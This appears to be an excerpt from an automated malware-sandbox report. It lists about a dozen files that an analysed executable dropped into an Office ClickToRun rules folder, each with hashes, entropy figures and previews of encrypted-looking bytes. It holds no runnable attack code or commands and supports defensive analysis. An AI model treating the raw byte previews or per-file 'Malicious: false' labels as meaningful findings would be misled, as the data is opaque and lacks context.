Preview:	.<?..1.m...sU...._.?.%...wz./.5...M..EV.9'ZW.]...E.-...'5.+.....m....Y........+P..cV..u.!1.......SH.E......r2...&n)...,W\.b;.jm....F..r..df?..z.......^{"X.....)..I(..lY.H...F6<.......C.......\|.b..H..,..i.2=..C..-..vd..3.F..Z.....q8?.!.Q...u..)..w.r2.$.}R.r....A../B...U.I".0.fA.=...u.'^..2@w...z\........^i...f.4.e.....D.....n.....J...>c&.g.......z.....(.sg%..qn.....p.p.^=...W.....>...C..S.'.&...8..xp.V.u..F{...^.d..KH.37\|.2hs_....`..?....p.3.....LE.$.&&2.c..B...2.....@L......5./!.A..aZI.d...9..:.3..(d.47T.hh..c....."3.P.r..V`.$P.t..}.....!@..apP...o..[..........r#}.;.<?..F3EO...[.:T....U.A......Y.=.U....A.A...@_..........D..%..$F.=....J.`..qg.&-k.....a.=D.clK..0.!O{...Q........o.C\|...G.~...F.l..k....f.8..=..PkD.ZCSQ.W.AC).'...o.X..v.F.....s.r.>.F.X...!4V.W(...(*.j;.....f..q.j.i....Q.\|....K.E....>I..z..U...N..Jf...N.........".%.fw wpi..~e.n..y..cb...l.ja.........ls........jG.b.=.o........F@...[.^.^.C.>...#.......l..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.902165755150582
Encrypted:	false
SSDEEP:	48:x5ZvYJ/Za92sUkkpZL6YMr+ewowSNDnuY4mENXiD:HZuLZLNhpYVnunFa
MD5:	78EADFD81FED9554168EA76CEBFF3847
SHA1:	69BCD17B9695CA84612C68E7A0AA5F300084BB04
SHA-256:	00E39C7A3E7AFC75613101AD2EBC3F0D4D5D50AF3B871D35F7A941F990646B28
SHA-512:	CDDAC6FE47E66D950B8E20EDF30C3B026CB4CEEDBF6BCCB9588A89B24AADC59496F8C171EAF4A0A83DB29D424F2B1248EB1BA3DD58078ECAD84080CEB761FF1C
Malicious:	false
Preview:	.<?%R(..pZ\.24...!....py......g.a....d.jz.<.^..^.G...H.YpJ.Q..Sa..n....dB;..u..-}.vY!..K...w..\....32.z.......!..,.....~X_fI+m.qP..y...Cc\......I..A."<?........Z'..Ot...l...v^J.:j.u..B.p..'.......P..?X.2^...tG.$@%...4....+j...,.b...>..&S.fZ@W)..[[@.9. .....>f.m93...rn-?.x..~...n....nch...h/.m%#...K.t.....8...C.F.-O.d...2.....,!.h.a..)...!....O ...1..Gq@\(.B.%./.m...Y..0..aAS.Pn......^[.q....Zo..'.........`.T..e.F....Z.......t.............6.\1..L<.}..aOtQ....v.L...X.%....%....x.~....,.&.X....._.f..E../.>N......&?......+..w......_..F.,.\|......+c...&....p@.kw.rp(a.X-g...B9`.Wc.n._NuI)....(.Fs.c..2.8\.e...N[.......S...<Ly[.><.L./...4.0.....h...v..QY.+....ka.c.eC[..L....oeb7...0....i....}....U.:.3C........c..G..-.ujQ.\|.X.K/.p..%.(9u7..v.(.....Z.4*..6.!.k<I...c.].9BV........!x.u.........k..7^......2..... ..wa4ht.F....B%<OW.....C...G`M%... D<9="I.88....x....a...........h.1I\|.hI....H;..4".i.h..H.i..`t.......'.{..x..q...$......0...S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.89131945176381
Encrypted:	false
SSDEEP:	48:3ks+Hb5RKZnCyHqGgypF2jUkmmK45Np4XoCiD:386N9mTjXKGNuXoV
MD5:	7C3AA78664632F9F632A14D828AD6102
SHA1:	04CABFA14076D1DB51F2ADE80C2811409D667ACF
SHA-256:	A0ACD0E5935CCE1EDDC0A9F0F7BC4CD461BE86C870D8F4F21D90352310462DF5
SHA-512:	3E1163F2CBEF2A18252F1B97156C4030489A7CE8D963D9B7BAC3AD4F747BF7FA53A17985E57137AEFB2D094998C1A44114D9DBDFF8AD19510397E9408F4DFCDD
Malicious:	false
Preview:	.<?3 .l.g.K.B.4......=..\|...x.H'o.,...........d......[...&$\.zE.P.OC~.9Eh.k..\.......I(]gW+..5.76...xE(.G...I;=F1C..Z.rN9.DZ..&..c.5.....t...../..6W....^F.....%......8%J.^..I.. ...\........\|.....H...(.T94... ...0..(..ayV.@...aZ0._.Q..'.e..s..B..`.Y......K.....l%...=b>yuQ=9.D..5...A..F......s.%s..e$..ho.@.+o....&y.w..Mr........N}.nK ...^J........u<p...O.:..!..f.d.Q}....e.,.....T-.2.c.c{.R...'o#.\>...T...1.sR.:9q.Ex...../= .H..T3.<U.g],pF,....m..p..&.(e..-./..>C..vbJ@..~P.\|?M......i.:...I.Z+.P.U]S...v.w.s?J{.!7...T.U....<..NC....Rc~.....\|].j.5Z.U.H.$".aHM.<..S..W".:.l.(...]7!..H..;..i.g.g.wAl.mf:6.k.h.2...!....*.k/.R...B4........^.[\=&...:..X.#..{..w^3L..E..a.^.S.L..+.'.`h.rkl.5M.62.1<..).5g$y...2...{w...J.D...:..h......q.........Q~#.S.oA...f.$..m........t.<..,b.1...........\...Ayw)..=..e....Y4O.}...8..\|..B...C>D..(...........O...7.{!..pO\|Y..%u..J..N.z....@.DY..O T..Am.[.o.+.[.}lf..0...<.$fa.....C._.8H..`Rq....m)....$;..mv{........N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.891453396432499
Encrypted:	false
SSDEEP:	24:tXCllzKG4X3WlmqfJhXu+9evoN3TdJVpy4qMN3LWUe1ynDtxE6ujrlSC56gBH4bb:tyllW6me+7CV3NNhe1yZPujrpftxiD
MD5:	FDE0FAD488556BA48B7D7B25B65A0613
SHA1:	F9EDBC7910C92AD9388C09988E3B1A3D10BC2D0C
SHA-256:	8DCBF84E496A8B6348F1CCA5A64C3D8251F4EBF6441481ED20DEA5668C692E48
SHA-512:	52D2E22442EC6A1B17AE44DFD9CE54FCC29EDF04057F3618837817525CB2E21D88425347D3644D7A04A61999EFD8F39C7AE46C2DBC559C48686856BC6A6DCF8B
Malicious:	false
Preview:	.<?...:K.f."....2....T,.0v9..{.q .^..z8s.t.?.....eV$4MZ:.:.[..V..P..........]....)8.'.;.PX.V.Dvv.42XG...hzQA&qA........^....j3Z...#J~q.\|~h.A9..GvE...P...,]%.....!%B.>(d.r.\|...zl.....j....B.~K..WZ......Y.N..j..f...3i....... n.:..~....bL...L.1(.O...Cs...%...X..C..%M.2.}>.C.\|-fr..z...eAh...z.....Ac.O.F6&s[3<.....:.....:..Gzk..b!.N..S_.T.k....I.W..!b.....>uL..<...K.\|.O..`.........].c......oomL....._..........Fy.."k.E.=p....@.....F)..sy....J.q;...........ooX?..d!Saqw..i.....G.5.r..?..Y...VSA.I...w..z.Y...U.<.....N..._"q.58k]i.4\|....G1D..c.x...j..-.t.-R2......d._.............(..(J......Z>IT.:`........../..-...&m.O+..l`..S..~T.X8.....b.\@....4._..(.R.....5..<.M<......6d.....?.....b...W~.A{yG.v..."t.;&3.a.r.: \.k.!....B....x.L`S.F..b...Q..e.^OrC`Lv~.......X./.I/...w.=W..og.9l.....z..N:....j........*i'..qc ...DR..Xd..Z.9z...&Q..0.3R]w.pZ.W..Z....$....rL......-........I......;.0.....9.oT......`4.:h.....U.....w....P.n..Z:.1Q.+.#U......FR_..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.887124642172098
Encrypted:	false
SSDEEP:	24:FarVXqSK21gJOuBbrHAkocWtw/CeDok++Yvcy8LQ6e2Q+xA0dAlrZWUTg9vdo+Ym:Faq2ujm8CuoR+mh8E6T3A0a1ZZev0iD
MD5:	7147E512FEAC35D12CA53A955CA69186
SHA1:	5641ECED808BF9511650A5E8E5A7C6363BD83D80
SHA-256:	DE8E07AB4726C6D0CFC97B4EABD0D4F67B9EE22880B8FD4944F746B1B22984D9
SHA-512:	F5EB57A67481CE0949168D0D8490DC30D1D5E1C894EBD2B15A9DC9282DFC887997714F457865F9E785331F0054C4F680AF81D8CEE76EA74B931C04A8E2BA237F
Malicious:	false
Preview:	.<?..W.w!.B...oF......R.H......Xb......].c..[u...a.;O....O>Ik.._.y.`..x.:.>f.....&+._.....C..o...}..P.......0u.K.L[...?.xgi....$qUc..T^S..2.....J,H.;W....-.`.r&.i.P..8......r.5.."...hs...k2i\X.}9..k.U...;}.:._h.Fe.O ...........H(.V.iX.?.w-#..j....hM...r...9K..2G.HSj%.p..z.....Q.W..17.)C.0..o.1.uV.G..\.....AY.JR..}%.....q%...#...$..09.....d.O<.,.x.4.$..P.e..J.kd............c$.k.^.J.. ?...o......>Tl.t.....!...~..&[I....9Me9..]g.`..4.. ..,.._....V#...S..<.s.J.G?Z..x.X=.q.KP.x.@ld.j...1m..+.....jy!.2.....D....`.U.[....I...nF...E.;...].6.....r.:.a......LS: .kq....q.....+..L....X.....-......z.m...b>2.e....m..R.........E...]\|...........qQvX..{. .{...b.....j.......1pH={=.i........q.q.......~.%.=..4{...Y..}e.....@.$.Q.,...DU......G.#.p....c.G.>\.t......Jq.*.X...A....G..8.......j"3)....A...q....!.O..ok.D..!..c.I..k....NT.k...{F..W........:.C.i.H........Sb..%h.g.3...<.....2.....0..m.5$C.z.s.#.....l.K.{phy^g...G4.5n..;...x.....]..M.L ..T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.874769966191314
Encrypted:	false
SSDEEP:	48:r2dYQeg4Zw1poJVLpPJ1A63q754i5BZVSSvc9yiD:rGOFwQJVLfm6+ZI+c9F
MD5:	3E50BEEEE6B4C7DD1F075BAD1455A48D
SHA1:	50CBA68770E86889B46E1070C113507126E0F76C
SHA-256:	535340445BEA3A59519071657B890706360A7FEE1D738054DE91333952C07086
SHA-512:	E5645D459C6721DF3BC46F1377E071AF59A5529988822E7EF5D078A4ACB2EF78D65F8C1D53E3430AF62FA135F88D481DE63A06FC4A6AA14500C3C982C5C1F1B4
Malicious:	false
Preview:	.<?..3..}+Y..l.J...(.~2o....<.9.l..x\.X~.\GW.Z.&}.YY.... #..b.n....P.'....6A..zy.R=.ez.5.}}r....\P....B%.<.J..]..=I...Z..`...\...p,.H.....(rZ.6....=}..l. 'a`F6.]i>..8.6q..4TR/.p=...N..VS].=....^#.,2w.U.....1.. ...).'g.&.f...$F6._...2.0.{.Ru.U/].r...R...1.......[.p...id..o.n.....SS...7..T.:...C?b."..S.........<..nQ..P&..1.)...G5...0.5..k......M{.WgD......n.T.....(.....RH...L.^\.GQ$..}.57..!,...J?..)..4on...) ]r+...j .l...e...^.#.....r.....\|...S.......!..D.].3...,.!.[6lml..}.L.".(...v.U.)m..y.3..Q..s..>..fR8m...Y..J."Y.=...p.h!,s}.^q."....w0o..t[......U.i..C...L............)jf."...53.E..G..;4[......l...2...S..aEi.....~..`e..V.......v2...o..UK.?M..N....W..Ga..M.~...e.h.!.../.D..Px...}.i.D.8.t).......'&kU.......;..Ly.~..F..^,..9.H.......OY.;..X.n......I?..v...9b...Vh.....5...u ./.......G2.:d3...]I..DZ..R.i......I..z=1k.Ck....~..._@6.N..S..`"....U..Ev t..!.B.._..&.DV.'..P)..4..^....5]....R&}._.6k$.......&aL..S.*..t...i....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.880713889966192
Encrypted:	false
SSDEEP:	48:6BHBayL6MKNcjatDEX3K9QVtWbhrPhlxzl3y8g4iD:6BhHnKNcCDEHjabhrPhrJCzH
MD5:	249F64C1E328F762609F1453B80B4C6A
SHA1:	A882DC6D302C18BC603530C98E5AA29BA6B90B82
SHA-256:	B3FFB93D53C68D972807C38785B20FBA10B2E1A8F203AB057F14EC5498E19110
SHA-512:	BAD21E3919AFCE90849A216C818760EDD8F48803FAF148665CE0FB4691B11C93BC1B80B1F299EC72B44B2131DA87A09C43E25E8211B051636E2EC38E4F8B95F0
Malicious:	false
Preview:	.<?..H...(...s.K..w.z..9..(...R..oZ......uW(2.a..zv.o.........]^.....fv.{....UK.,.D..g.m..G...eM/I.`.......p..0j.v.0K.Na..e.l......&..W.............!.;....Fp.8.9}.] .E.E....=.>.k.7.....Ni.s....3v......u...u7.....7w........W.....<.}.3........[....81..r......x..r..B....s..~....._e%9.}^......J.=)....utP!..........Y3L.DF?...f.-.b...F..{4....g..9.C..".M;.F.z...G.V.9x....B.R.>/kd.......O'...z5.......V.i5.v....}..u..f..8..x..".G\C..;...._.C<y...N].qH.=....6v..+V.X..Y..<8..e..nE.;..L..D.a..sj9...q.sec._%f.B.50)v/.u..U..(...V.x..U....k)....(.:..XQ...].pX....C....XVe..y1.......S.^. ........U.; ......eZP.s=...Ix.....l..@..7...Ek..\h.M......3.......b(d...Ku.d?.rH.KF3.r.h...\.3M.3.]."ghl.i..Y.}5.$.M..)..w...e.Z.v..4`.L....F\|.......0F.7.S..DS.L......D..UvH.L[....@Z...:/7...n_..._.-v<.}..p....o#Ir.S.?.S......q.a...i"g>2.q.E..Y..V. ..zi..KF.7..)t....z.l.^.w1...nG..]....5.t.q.<7.h..)..b..X...h...W/+G..N.K. .......5.(..A....G.R{_..]m...t......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.87973433455487
Encrypted:	false
SSDEEP:	48:xeF6LmRW8XWYDx/W/2QKEwoDQcyGPt1G2iD:iAmRFhV/W/2BEwAQcyOI
MD5:	C76F909BEF6730F1BA1F50DDF91175D2
SHA1:	6C562CB11A2811BBC569BCA6D89F3EEA98F527B8
SHA-256:	592709F874184858ADCFF0D1F9CF835BBFFD052C67B596277B8CB5BD529C5FDC
SHA-512:	C1F5A4A4BC4F8D21940CD050AF3401351113BF952B0ABB3C64C13919ED272860E1FFD9DEFB7E57CBCE1EDC60F2AF659228D29472729E5817FB20E92211B74166
Malicious:	false
Preview:	.<?...f.Q...I..[sY....,........B.l]...L.....d.d...K.[..eq..T.z...q_&..{._..NB...U..58.....C@......F...&..<.......E~K.....?..-#.juU.h.O#.b\..zF.0..)...Y~.O^..E..9TrY@...x......&..W..#.$Xn.6}"cy._....\|.1@.Z.k....1.V3....~....Z)p..Cv....BN.g\..R.......{...Xjx...=....X=...X.g...cR......_>j2......}....fUu..'....{(.-u......;.gO$..A!/.0.2<..r.....a/...q.....E2....`.O.....nus..2.T.d...(6k...M.Sm9....j....Xu@.'@..R......N.&q...HLC;.j.....9.j.r..c.He.X.vS" j+.....X.....2QgX.h.....(../.cS+"...l.......5(O....(....O..9.. ..d..%..4\.z).!>...k....PD@!!W3.S:.9..G...];.l....\...L<.x.r..8.V...o....n..F``..[%.....I...bdB.;-N.qf..?..{+M....!....(..i\E..h..Op...i....IM...NY.zK".7..Nw......3...$.../...(z..:<..'.V%X.1IP....'H.DQ.3.. ..l.....Y.. \|k..`.....W~..A.)..-..r..`...!_.&f....v{.:*m..[B\.j..wrj.2d....X..G..8Z..s.(X..h.q.u....7.....Udjf.... .Cy..^.6....j{.O]..<-cL._,.]..g3.<~o......R.........j...X}.......y...:..#.q..W......H.G.b.`...1...S<tl.&...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.8981382499772135
Encrypted:	false
SSDEEP:	24:xY2eqNPbM9XTkEsaHqxpevaXz5+p6eOM1WHjnx1+cS1JV9fDuWon9W7lGgR/p827:xY7qlbgvsLFETO7bb6XQWg9OdnLcb3iD
MD5:	3819D8316C5230A2C1E3B6BAF0D1A70E
SHA1:	5CD11520010ED768578A3C177C46A7B806BB13C7
SHA-256:	7C182B75AA591B94B01112CE5B97999D52A41BE1B0EB6CC9843AF4095C9C2B33
SHA-512:	8887B5F720C5AAA4396A1E550FA8526FB9A5865860A1DD401FBCABC3CF7B31A52A9A31E8B2DEFC7F192575096DCD588EF3E95B5B3E02E1A4A54609FDBBE31A9A
Malicious:	false
Preview:	.<?..-...ZF..te.Z...m....L}.u...._.....j45.P..G~.7.........' ..._....}92......y.......Y..$.Ft.(S.=.p..}.k.........9.;n...P...`}.\....p.).@......f...V..9e!.,...'...8.D....N.......s.8Ym`cT..[..........B..%`...ih.....wC.t........g.sSIv.!_.Z........M{.?.* F...)E..X.....Y.(,.....,d.Z&q#.....D(.] \$.f.H.e...^%(....0%......O../c.z....m.dfm...:i@...w.1.;.YB..-....%.n\|.e5.M.......r>w.6..M.b..D.. .y.<...t.L<.....Ki(.......D..qJ.Z..E8.u.3..0..$...b1;.....=.R#.\4OZ.q..#b...G.......R....$.Y....."e.a...y.....^.p.`.:.....U.L"..P.....tAt.....$..l..e....X...y!.?.n%.x&a.P].C..r....4..M..q\..3...A/2}.....E.=P..x%E];....A...0.y...+...T ,.C#..N ....X.......Y.....s.A....GX.Z.#.J.T..h.N.LH....^.<.^..&. ...j])W..<_...+.`^Wq.4..er.B.....(.^yO.l.n\.{@....%.].v...t..-W.7.^..M....J.}ff......F.c...A.]L`.....^aM.z]p...".O9Uq..."..R..5.{.`...2@.....?..O.E..Da5U.H+...m.kd%.~....V.2BJ.... ..Z......S..............}.Mf..p[.D.a.I.W.l4{....M..5..pVhs...fwd...d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.895075056931594
Encrypted:	false
SSDEEP:	48:3mKqkPQEYuyktqwtQ1LvnQJ2q+k4ZhLsw45GIaiD:fqkFzyktqwtoLv4oZhLsNj9
MD5:	BC6941A2086B2EB8C34C338156B78C21
SHA1:	9970723BEAACBB1670A0311E73D9D27353135FA4
SHA-256:	9303C5037FAFDD59B48200776076E233395108D39828BA8CD66126B03C4D0CCB
SHA-512:	5EEED8645530ECD23E40F0592249EF3E2A11945FEE20E355CE5D34FB57AAD189BAFC20B49C8833A96213F680CE4F6F3144EAE5553336F4067AD8BE25AEFB161B
Malicious:	false
Preview:	.<?..Q.j].R......?E.....8..k .T....;...\|h&..@^.:q."..-..v.g..k......AP../.(L..9.Eu.N.^.H[0&...Sbg..g.5<.]..x. y.,..[./..c..W..\%.j.H..o..FOe.b......V5U.u..5..&... X.5B......~.A.V.7nl<<..G.7..6(..k".IM.})~7.n..g+D..._% .nl..d..g...>.`['...UD....Kq..W.N....t6(..1.......?..Aq......-r}R.Yu;.R.t..d.a.]..\..G4..Gv........a.C3.r5........FV}..SP ....`@.o.7>H..2.D..90Bj..........G.........Y.=.....Ky~<........_.........!...@.w.....I.a9'...^.*..D..\.%...xB..+D.....h.....Ql.K6Al..f...M.....86m..&....@...w.x.x{.. u...pfb.]f.\......g....=..p.X...<8.i"S....R...e....K....f..R.."......T.....3M...o...\|........1....p....Ryx.}L.a."J.8.;.......~..n.......$.E...f....J.X.k.M._......{...sZNk.>..i.QO..-~.].M<..@@.w.\|....:.6.......U.O.J.yu.IZ...-......6...4;..U....0..Z..27.zfB...?.0.....3.s7..^n/...$......lY.6......tI.:...p..G...^p..e.V.....,o...hCs.>^5..F{8c..;rS.5i.).)..?...>.R........4..H.....'O......E.=..w.9...:..?........u..>.......h....c.<i.....Z.j..I..h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.907485480383654
Encrypted:	false
SSDEEP:	48:nazeOhRvO1rXJBTRViXKuzKu28ElvLJD0ciD:keg0ZXTTwudJD0r
MD5:	F72AE30D6108DEC23239847DBD7AEBA7
SHA1:	10DB0CF7E7F15ACD3E0AA692208FB250B543E5B1
SHA-256:	D10D6F3D0505D0575085DD93F10980B2BBE3C78DD4BC610F3FA0528C22E830A1
SHA-512:	220A7D55B4993267B4771D887609E2FA82937D06D0F42F683DF912B075551658B99789563818B75327FE463ABFD808450218E15E8FB3D3EE8D7FBD3A061314C5
Malicious:	false
Preview:	.<?.hK...P...B.XU...N]}..(.8..p...N..h.V9.2<.....#HvEYlK.....8...&..b<.2`....v.......fB..}..........{.._....i...b...9/l...B...v......tZ....a....{..D"....Y.../..........\|.e[....n...k2b.j5.DQ........X.....d.J..v........S..<..l..v#...&t\|.r....;!..E...s.K.d..b..v....).>.x..7M.8U..D..v.n.z0....S...O......'\|.....n..^N.:T.h)....../.{pB......?.k~1.B.;"..x..@k2..j}%.dh..^s..7...........{_9..(...u..`.8.Ha.........j.uM.....zw.x...T....k.K.)~..l.....S..<#.1.............N...cu.....lY.[..!..W.3.`.(.a.-...<...b...y_.(...=...(+0TK#by&Db./Ws...M.L.t!.+....@+..q...u=..{-.5s.7.....0Y...U.L.}.2..c.....&........o....+_D;.?.k3.e`<P.........T..1...Z.g{.3G.w]6.#..#......'j.47.W......]..._.....';F.F!T...O.....L.@...C..=g......~..X!R.......\|FR.......Z.$...R.i...=.t...A..S.#f."..W.F.i\|!..,.x....1y.f.@..y..TQ.]9kKy.hs:.Q..9..l..i...9......+R.........^.c..C..p..Y....B\..,v.....+C..uH....$B....A......[.4..W~.....H...b.&...6t.6...>.XTK.z..v....CS.u..w...R\m]E:.+Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.877074045445211
Encrypted:	false
SSDEEP:	48:QvGHYnEl5/2f3hkxGIOSAJweD0Y5+RWYKurS+hlUgXiD:chEf2f3heRWoS+hlda
MD5:	2115E5CA58E6C43D0A137AB6E5B7D466
SHA1:	B4021EE7A8E3F62860E14A179BAC3578B09CC821
SHA-256:	203312961D263AD205B31FD577CC1E30CFB4F7AC65D90FA6E2B9877B20359A73
SHA-512:	8E808AB534557D87D669BEDE0CD1CA50DA892903192885F3744FECD4CEE83A58E0F0BEC4F18B309049D51DEE794716E61A2BE22FD2365BD3B76A3A21CCD0BFBB
Malicious:	false
Preview:	.<?........h.f....Y..m.2....w..\....a.7..s..`j_..w..d.....t.kEEn..#.f...C.v......W.?.....t..eQc.....b..bA....V<l....ByV.{.7..qB...F[I.>.>...}7....d1..4e....a.]....<e..N.<...A...3.>Z..i.._.]%]...3.W..?...LG....]Z6.....J.......D.7y..G......K.F..B.7..?s>..6..^.K.F&>.'.\|Y.f._.[...+DZ.s.i...\....d..~o.&...edt......2B...8c.,....3.<....R....~].[..7./....K..)..............S............-..U.4..$..+.LH...&...[..qWfl4...$...s..L.a..c..$.l...,E.!r....!....:.s....W....B.......F{{..Hj.....?..=..xky-.....S..B...C^(.!...d3.i8..;...........A...;...s2..c.y......'V.Gc]..} ..~...%q.^7...b..zT..RV....=^e;..M.w..S2..Q....Rq.u.....K. DIt..C.xX.K..........0......\.a..#{..,+.C.m.bp..m.L.....s>.<...v5..D.....).:..!..W.[..E....AL...Cr.q\T...t#.C....0>.[.L.......4....b8CL..:...l..r....Q]...Bv?s.m#.....\|.S......6...t-...'..+.*......uX..~.L 8.Y.R.=.8 .RhHL.'x...Z#~..T6i...$.....k..l.U+D..T.P.....2..7.H....3...a0.).F..6..{..l...$...0.>[.....i.....k.F;G..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.874471993345853
Encrypted:	false
SSDEEP:	48:yBgL/ld1dbDmg/Q4GLokgTnzrQM4KrMZwiD:y6txSYQ4GNcR4Wo
MD5:	1323AB4AA581ED81173700696EB3B575
SHA1:	D7A946A25D6F0371E05A95793FDB6243C562232E
SHA-256:	81C4A78F22D0F10507C9CC8A701505ECBA79508FFDEDCA671280ABF40915B236
SHA-512:	4CDBDC7EE749B39618F11369F6B86E51D6453D28C2B6D71EEFDFA66423584A47F28A5778433E91591A2226B2D9E829347780DC93626711F6B502C0542B4A63D2
Malicious:	false
Preview:	.<?oL]k..Vi..oG..........d./..........i.\.o.'....$.m;..TQ..v....!-^`......L'. .L.+Q"%........-.{.B.J$....?....\|..S9.F.......TfP.....!...?A...N.2......k...i\|..1.]..g.Q..0....s...4..<9&(...=.1.....B...s....j.i.....qUi........2.:.`. 7.;..3.%a........'.$.r..h.H.).5...q"..............R.j7.......m ..A.u.[37..8.s.RP....}..jj....T.>`.{3.G.g.,...eo...p.J2.I.02.:./(...i..,.j.);7..n.J8\|8.\|.q...M.Q..<T...,...u..Q..o...Mv.4......#L).p7sV.-.-?..hZb...1^.......#.....Z.W......w....q..Sx.=.[...g.?.....j.\...q~.+U..<F.......w....t...Ht.....Y-?..\-...3MRw...;L.^...p=...?.S.ZGb.{.5..\.0.k.....L..x.....-+...g ..<#..GN.'.A7..#..........?.....T("..(.Q.p.g....pNS]F...L..Ek..S.....'.+.....!...9a..M...:):..>=._.bl...m....,-jy.....9`.8o..G.G.J....{.G...q~.M ..[......B..[\.I=e\|.....Au ...)......6..)......1.R[.e.=k>{...N..._$.......9F.`:.^T.....y....=s..9~59c...r@.p.Z..J.3..0Y..,../...(l8..0..~...<...4`...(.z~-...g..m............!..AV.c...H..].^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.9058711750158395
Encrypted:	false
SSDEEP:	48:ha3f6QIpYQ9HRItHar0Wk4POx+2ksQb3ikmTiD:Q3yQqg65k4WLhQekP
MD5:	49FA4C7E644391A348D6019134F376C8
SHA1:	7650CAB30C69B048536FB8D58ECC419C0979363D
SHA-256:	7F9EB4ECC019D8E84E1461C0205CCB185F12AC19F9CACAB6CC20A859150BEB32
SHA-512:	7E1B3EE613C4A5D9AE3E6BE779F20F8AC05ED6C67C27903BC99C795DE92B1733287693124847818113AB5CF262B3DDE10C997B8B65A97D4815B09185FB327E29
Malicious:	false
Preview:	.<?..@...I......[...]....T<..I.P:....?.......{...<-)j....PX<B...u.IvncCr.=....V2t....wh.....J.f..c.b....<.iF}.....}\|4.2..}_.Ul8..>..x.7y.i...#...sT"..\|n.......<d.9D.#(........h.....^..c....A.j...b...^$N....Y.W.G.p...c.w._edY...u..m5.r^..b..........J.C+...%..,K.r.`....GP..........fW=..W.w..p.d.s...m.+Sn..E.\|.....V..X.._k........&j}.....-,3h..\@.A..."..T..-...H.\.!78M..>..i......._[...\|$.3F..%..05...5S.y...."P.6`Z..I..?..,.<.... .J....!.../...o....C.........w.c....D`....L.X.M..=.h8v.d...).Npl.I..%q.F..?h/...5.......<..C[..z`.....9rh..Y..5=.T..j..l..D.f..Qv.b...k..t..O...\.......0,....d......'.yb..YF.3K.z.t.;.Qgj..8.If;B....p..M\bs.~E"..%..g...^...e...F.o.Uq.8.S...~4R..'....0.....o...s_(...i....3oy..=c.2..":..'.....E....s..r\|.q..wf\....3tu......$9....w.^.%RU..6...p....:.PG..KD...S..........?........B..G..._tD.."...hr.^.1.....M...Lm.Z+'.W.o .........%..?`.V........s..=.f.I....=.QR.l.<V]a._L..Q..\|.j...e..q...Z:._..C.K..N:=MIHN.uXR].......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.899166193350852
Encrypted:	false
SSDEEP:	48:60Jbqb9f4BJXulD0F1TmyEtm3oHqMDG5CiD:f6x6JXY21TmyAw
MD5:	63F455C52316548B88883D24CD923CD0
SHA1:	F5408ED223AB883359FE895E729DBF7680EC1B3C
SHA-256:	0E8CB67640964EF526A1202DB638C6B6D944A558389957080242FEB3F32368A4
SHA-512:	1D1DE5B428D1117DB8E288BC8E316A42C5A0EBBF631AE87132ADE19F4DAAEB5C866BBC1006A798874266099ECB768A435B75A4268C49C127441793A3FB87C090
Malicious:	false
